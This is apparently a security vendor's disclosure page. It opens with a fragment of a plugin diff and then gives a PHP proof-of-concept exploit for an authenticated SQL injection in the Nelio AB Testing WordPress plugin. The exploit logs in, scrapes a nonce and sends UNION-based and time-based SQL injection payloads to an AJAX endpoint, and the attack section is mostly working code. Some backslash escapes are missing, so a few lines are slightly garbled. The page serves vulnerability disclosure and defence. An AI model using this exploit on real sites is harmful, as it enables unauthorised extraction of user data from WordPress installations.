+		if ( ! is_plugin_active( 'formcraft-form-builder/formcraft-main.php' ) ) {
+			return;
+		}
+
+		add_filter( 'nab_get_post_types', __NAMESPACE__ . 'add_form_types' );
+		add_filter( 'nab_pre_get_post', __NAMESPACE__ . 'get_formcraft_form', 10, 3 );
+		add_filter( 'nab_pre_get_posts', __NAMESPACE__ . 'search_formcraft_forms', 10, 3 );
+		add_action( 'nab_nab/form-submission_add_hooks_for_tracking', __NAMESPACE__ . 'add_hooks_for_tracking', 10, 3 );
+	}
+);
--- a/nelio-ab-testing/includes/hooks/compat/forms/formidable-forms/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/forms/formidable-forms/index.php
@@ -0,0 +1,187 @@
+<?php
+
+namespace Nelio_AB_TestingCompatFormsFormidableForms;
+
+defined( 'AB

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25378 - Nelio AB Testing <= 8.2.4 - Authenticated (Editor+) SQL Injection

<?php
/**
 * Proof of Concept for CVE-2026-25378
 * Requires valid WordPress editor credentials
 */

$target_url = 'https://vulnerable-site.com';
$username = 'editor_user';
$password = 'editor_password';

// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$post_fields = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);

// Verify authentication by checking for admin bar
if (strpos($response, 'wp-admin-bar') === false) {
    die('Authentication failed. Check credentials.');
}

// Step 2: Extract WordPress nonce from admin page
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=nelio-ab-testing');
curl_setopt($ch, CURLOPT_POST, false);
$admin_page = curl_exec($ch);

// Extract nonce from page (simplified pattern - actual implementation may vary)
preg_match('/nabNonces*=s*["']([a-f0-9]+)["']/', $admin_page, $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    die('Could not extract security nonce.');
}

// Step 3: Exploit SQL injection via AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$injection_payload = "1' UNION SELECT user_login FROM wp_users WHERE 1=1--";

$exploit_data = array(
    'action' => 'nab_get_alternative_content',
    'alternativeId' => $injection_payload,
    'nonce' => $nonce
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_data);
$exploit_response = curl_exec($ch);

// Parse response for extracted data
echo "Exploit Response:n";
echo $exploit_response;
echo "nn";

// Step 4: Demonstrate time-based blind SQL injection
$time_payload = "1' AND SLEEP(5)--";
$exploit_data['alternativeId'] = $time_payload;

$start_time = microtime(true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_data);
$time_response = curl_exec($ch);
$end_time = microtime(true);

$response_time = $end_time - $start_time;
echo "Time-based injection test:n";
echo "Response time: " . round($response_time, 2) . " secondsn";

if ($response_time > 4.5) {
    echo "Vulnerability confirmed via time-based blind SQL injection.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School